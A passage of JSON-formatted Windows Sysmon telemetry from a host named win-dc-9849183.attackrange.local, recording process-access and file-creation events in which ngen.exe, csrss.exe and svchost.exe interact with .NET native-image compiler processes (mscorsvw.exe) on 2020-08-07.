C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.447","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001068AB0A00}","TargetProcessId":"5060","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6742,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.479\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-00105BAE0A00}\r\nTargetProcessId: 4928\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.479","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-00105BAE0A00}","TargetProcessId":"4928","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6743,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.479\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-00105BAE0A00}\r\nTargetProcessId: 4928\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.479","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-00105BAE0A00}","TargetProcessId":"4928","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6744,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.479\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-00105BAE0A00}\r\nTargetProcessId: 4928\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.479","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-00105BAE0A00}","TargetProcessId":"4928","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6745,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:29.557\r\nProcessGuid: {90617006-4299-5F2D-0000-00105BAE0A00}\r\nProcessId: 4928\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1340-0\\Microsoft.GroupPolicy.ServerAdminTools.Private.GpmgmtpLib.dll\r\nCreationUtcTime: 2020-08-07 12:01:29.557","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:29.557","ProcessGuid":"{90617006-4299-5F2D-0000-00105BAE0A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1340-0\\Microsoft.GroupPolicy.ServerAdminTools.Private.GpmgmtpLib.dll","CreationUtcTime":"2020-08-07 12:01:29.557","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6746,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.572\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001096B10A00}\r\nTargetProcessId: 3472\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.572","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001096B10A00}","TargetProcessId":"3472","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6747,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.572\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001096B10A00}\r\nTargetProcessId: 3472\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.572","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001096B10A00}","TargetProcessId":"3472","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6748,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001096B10A00}\r\nTargetProcessId: 3472\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001096B10A00}","TargetProcessId":"3472","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6749,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.619\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001016B50A00}\r\nTargetProcessId: 1528\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.619","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001016B50A00}","TargetProcessId":"1528","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 